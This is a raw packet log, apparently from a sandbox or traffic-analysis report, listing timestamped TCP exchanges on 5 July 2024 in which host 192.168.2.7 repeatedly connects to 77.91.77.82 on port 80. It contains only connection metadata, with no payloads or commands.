Jul 5, 2024 06:24:58.177679062 CEST	51598	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:58.182391882 CEST	80	51598	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:58.885876894 CEST	80	51598	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:58.885931969 CEST	51598	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:58.890007973 CEST	51598	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:58.890484095 CEST	51599	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:58.895221949 CEST	80	51598	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:58.895271063 CEST	51598	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:58.895370007 CEST	80	51599	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:58.895428896 CEST	51599	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:58.895647049 CEST	51599	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:58.900398016 CEST	80	51599	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:59.601689100 CEST	80	51599	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:59.601808071 CEST	51599	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:59.717034101 CEST	51599	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:59.717432976 CEST	51600	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:59.722141981 CEST	80	51599	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:59.722204924 CEST	51599	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:59.722209930 CEST	80	51600	77.91.77.82	192.168.2.7
Jul 5, 2024 06:24:59.722281933 CEST	51600	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:59.722423077 CEST	51600	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:24:59.727209091 CEST	80	51600	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:00.440947056 CEST	80	51600	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:00.441392899 CEST	51600	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:00.456473112 CEST	51600	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:00.457123995 CEST	51601	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:00.461714983 CEST	80	51600	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:00.461791039 CEST	51600	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:00.461945057 CEST	80	51601	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:00.462246895 CEST	51601	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:00.462855101 CEST	51601	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:00.467614889 CEST	80	51601	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:01.170785904 CEST	80	51601	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:01.170844078 CEST	51601	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:01.371685028 CEST	51601	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:01.371999025 CEST	51602	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:01.376768112 CEST	80	51602	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:01.377074003 CEST	80	51601	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:01.377152920 CEST	51601	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:01.377152920 CEST	51602	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:01.377466917 CEST	51602	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:01.382224083 CEST	80	51602	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:02.105827093 CEST	80	51602	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:02.109553099 CEST	51602	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.112641096 CEST	51602	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.112648010 CEST	51603	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.117469072 CEST	80	51603	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:02.117729902 CEST	80	51602	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:02.117837906 CEST	51602	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.117840052 CEST	51603	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.118585110 CEST	51603	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.123317003 CEST	80	51603	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:02.815654993 CEST	80	51603	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:02.815720081 CEST	51603	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.919464111 CEST	51603	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.919759989 CEST	51604	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.924613953 CEST	80	51604	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:02.924706936 CEST	51604	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.924774885 CEST	80	51603	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:02.924823046 CEST	51603	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.924901962 CEST	51604	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:02.929759026 CEST	80	51604	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:03.617505074 CEST	80	51604	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:03.617566109 CEST	51604	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:03.624017954 CEST	51604	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:03.624402046 CEST	51605	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:03.630202055 CEST	80	51605	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:03.630266905 CEST	51605	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:03.630491972 CEST	80	51604	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:03.630537987 CEST	51604	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:03.631314039 CEST	51605	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:03.636501074 CEST	80	51605	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:04.343627930 CEST	80	51605	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:04.343702078 CEST	51605	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:04.451308012 CEST	51605	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:04.452156067 CEST	51606	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:04.456470966 CEST	80	51605	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:04.456571102 CEST	51605	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:04.456883907 CEST	80	51606	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:04.456985950 CEST	51606	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:04.457411051 CEST	51606	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:04.462181091 CEST	80	51606	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:05.169245005 CEST	80	51606	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:05.169456959 CEST	51606	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:05.172010899 CEST	51606	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:05.172286034 CEST	51607	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:05.177058935 CEST	80	51607	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:05.177139044 CEST	51607	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:05.177272081 CEST	80	51606	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:05.177321911 CEST	51606	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:05.177375078 CEST	51607	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:05.182142973 CEST	80	51607	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:05.901637077 CEST	80	51607	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:05.901699066 CEST	51607	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.013364077 CEST	51607	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.013808966 CEST	51608	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.019925117 CEST	80	51608	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:06.020139933 CEST	51608	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.020334959 CEST	80	51607	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:06.020380974 CEST	51607	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.020483971 CEST	51608	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.025268078 CEST	80	51608	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:06.739985943 CEST	80	51608	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:06.740056992 CEST	51608	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.742849112 CEST	51608	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.743202925 CEST	51609	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.748020887 CEST	80	51609	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:06.748111010 CEST	51609	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.748356104 CEST	51609	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.749475956 CEST	80	51608	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:06.749686003 CEST	51608	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:06.753057957 CEST	80	51609	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:07.480987072 CEST	80	51609	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:07.481070995 CEST	51609	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:07.591581106 CEST	51609	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:07.591965914 CEST	51610	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:07.596808910 CEST	80	51609	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:07.596824884 CEST	80	51610	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:07.596874952 CEST	51609	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:07.596909046 CEST	51610	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:07.597179890 CEST	51610	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:07.601979971 CEST	80	51610	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:08.301239014 CEST	80	51610	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:08.301323891 CEST	51610	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:08.304795980 CEST	51610	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:08.305171967 CEST	51611	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:08.309957981 CEST	80	51611	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:08.310029030 CEST	51611	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:08.310072899 CEST	80	51610	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:08.310122967 CEST	51610	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:08.311007023 CEST	51611	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:08.315799952 CEST	80	51611	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:09.028424025 CEST	80	51611	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:09.028496981 CEST	51611	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.145359039 CEST	51611	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.145739079 CEST	51612	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.150619030 CEST	80	51612	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:09.150718927 CEST	51612	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.150885105 CEST	80	51611	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:09.151016951 CEST	51611	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.151186943 CEST	51612	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.155946970 CEST	80	51612	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:09.839993954 CEST	80	51612	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:09.840217113 CEST	51612	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.843142986 CEST	51612	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.843162060 CEST	51613	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.848309994 CEST	80	51613	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:09.848443031 CEST	51613	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.848602057 CEST	80	51612	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:09.848630905 CEST	51613	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.848725080 CEST	51612	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:09.854280949 CEST	80	51613	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:10.563283920 CEST	80	51613	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:10.563400030 CEST	51613	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:10.669956923 CEST	51614	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:10.669956923 CEST	51613	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:10.674897909 CEST	80	51614	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:10.675005913 CEST	51614	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:10.675158024 CEST	51614	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:10.675247908 CEST	80	51613	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:10.675451040 CEST	51613	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:10.679898977 CEST	80	51614	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:11.381771088 CEST	80	51614	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:11.381859064 CEST	51614	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:11.385799885 CEST	51614	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:11.386213064 CEST	51615	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:11.391055107 CEST	80	51615	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:11.391124964 CEST	51615	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:11.391134024 CEST	80	51614	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:11.391186953 CEST	51614	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:11.391405106 CEST	51615	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:11.396205902 CEST	80	51615	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:12.132555008 CEST	80	51615	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:12.137134075 CEST	51615	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.247946978 CEST	51616	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.247947931 CEST	51615	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.252940893 CEST	80	51616	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:12.253060102 CEST	51616	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.253191948 CEST	80	51615	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:12.253339052 CEST	51616	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.253413916 CEST	51615	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.258479118 CEST	80	51616	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:12.962718010 CEST	80	51616	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:12.962773085 CEST	51616	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.966753006 CEST	51616	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.967067957 CEST	51617	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.971892118 CEST	80	51617	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:12.971960068 CEST	51617	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.972078085 CEST	51617	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.972090960 CEST	80	51616	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:12.972157001 CEST	51616	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:12.976843119 CEST	80	51617	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:13.733108997 CEST	80	51617	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:13.741080999 CEST	51617	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:13.843533993 CEST	51618	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:13.843533993 CEST	51617	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:13.848490000 CEST	80	51618	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:13.848771095 CEST	80	51617	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:13.851733923 CEST	51618	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:13.851733923 CEST	51617	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:13.855740070 CEST	51618	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:13.860553026 CEST	80	51618	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:14.543452978 CEST	80	51618	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:14.547538042 CEST	51618	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:14.555099964 CEST	51618	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:14.555104017 CEST	51619	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:14.560448885 CEST	80	51619	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:14.561368942 CEST	80	51618	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:14.561547995 CEST	51618	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:14.561548948 CEST	51619	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:14.569216967 CEST	51619	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:14.574021101 CEST	80	51619	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:15.270586014 CEST	80	51619	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:15.270673990 CEST	51619	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:15.389173985 CEST	51619	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:15.389580965 CEST	51620	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:15.394424915 CEST	80	51620	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:15.394479036 CEST	80	51619	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:15.394495964 CEST	51620	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:15.394542933 CEST	51619	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:15.394695044 CEST	51620	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:15.399388075 CEST	80	51620	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:16.122294903 CEST	80	51620	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:16.122549057 CEST	51620	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.125447035 CEST	51620	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.125462055 CEST	51621	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.130203962 CEST	80	51621	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:16.130518913 CEST	80	51620	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:16.130656958 CEST	51621	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.130660057 CEST	51620	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.130980015 CEST	51621	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.135684013 CEST	80	51621	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:16.838424921 CEST	80	51621	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:16.838481903 CEST	51621	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.951025009 CEST	51621	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.951313972 CEST	51622	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.956074953 CEST	80	51622	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:16.956135035 CEST	80	51621	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:16.956163883 CEST	51622	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.956197977 CEST	51621	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.956492901 CEST	51622	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:16.961293936 CEST	80	51622	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:17.683681011 CEST	80	51622	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:17.683763981 CEST	51622	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:17.686585903 CEST	51622	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:17.686882019 CEST	51623	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:17.691653013 CEST	80	51623	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:17.691679001 CEST	80	51622	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:17.691715002 CEST	51623	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:17.691735983 CEST	51622	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:17.691947937 CEST	51623	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:17.696697950 CEST	80	51623	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:18.397238016 CEST	80	51623	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:18.397327900 CEST	51623	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:18.513459921 CEST	51623	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:18.513868093 CEST	51624	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:18.518683910 CEST	80	51624	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:18.518712044 CEST	80	51623	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:18.518790960 CEST	51624	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:18.518790960 CEST	51623	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:18.519179106 CEST	51624	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:18.523957014 CEST	80	51624	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:19.209039927 CEST	80	51624	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:19.209110975 CEST	51624	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:19.259861946 CEST	51624	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:19.260588884 CEST	51625	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:19.265039921 CEST	80	51624	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:19.265125990 CEST	51624	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:19.265360117 CEST	80	51625	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:19.265511036 CEST	51625	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:19.287739038 CEST	51625	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:19.292643070 CEST	80	51625	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:19.960936069 CEST	80	51625	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:19.961056948 CEST	51625	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.076368093 CEST	51625	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.076369047 CEST	51626	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.081260920 CEST	80	51626	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:20.081566095 CEST	51626	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.081749916 CEST	80	51625	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:20.081861019 CEST	51625	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.085192919 CEST	51626	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.089968920 CEST	80	51626	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:20.776144028 CEST	80	51626	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:20.776213884 CEST	51626	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.779031038 CEST	51626	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.779479980 CEST	51627	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.784235954 CEST	80	51626	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:20.784274101 CEST	80	51627	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:20.784315109 CEST	51626	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.784357071 CEST	51627	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.784605026 CEST	51627	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:20.789370060 CEST	80	51627	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:21.495731115 CEST	80	51627	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:21.495857000 CEST	51627	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:21.609364986 CEST	51627	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:21.609745979 CEST	51628	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:21.614561081 CEST	80	51628	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:21.614574909 CEST	80	51627	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:21.614630938 CEST	51627	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:21.614658117 CEST	51628	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:21.614903927 CEST	51628	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:21.619703054 CEST	80	51628	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:22.303849936 CEST	80	51628	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:22.303924084 CEST	51628	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:22.306911945 CEST	51628	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:22.306915045 CEST	51629	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:22.311723948 CEST	80	51629	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:22.311871052 CEST	51629	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:22.312063932 CEST	51629	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:22.312129974 CEST	80	51628	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:22.312266111 CEST	51628	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:22.316960096 CEST	80	51629	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:23.045559883 CEST	80	51629	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:23.045624971 CEST	51629	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.158215046 CEST	51629	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.158792019 CEST	51630	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.163408995 CEST	80	51629	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:23.163480043 CEST	51629	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.163568020 CEST	80	51630	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:23.163635015 CEST	51630	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.166925907 CEST	51630	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.171696901 CEST	80	51630	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:23.874594927 CEST	80	51630	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:23.878123045 CEST	51630	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.880806923 CEST	51630	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.880877018 CEST	51631	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.885658979 CEST	80	51631	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:23.885826111 CEST	51631	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.885883093 CEST	80	51630	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:23.886001110 CEST	51630	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.886116028 CEST	51631	80	192.168.2.7	77.91.77.82
Jul 5, 2024 06:25:23.890811920 CEST	80	51631	77.91.77.82	192.168.2.7
Jul 5, 2024 06:25:24.581444979 CEST	80	51631	77.91.77.82	192.168.2.7
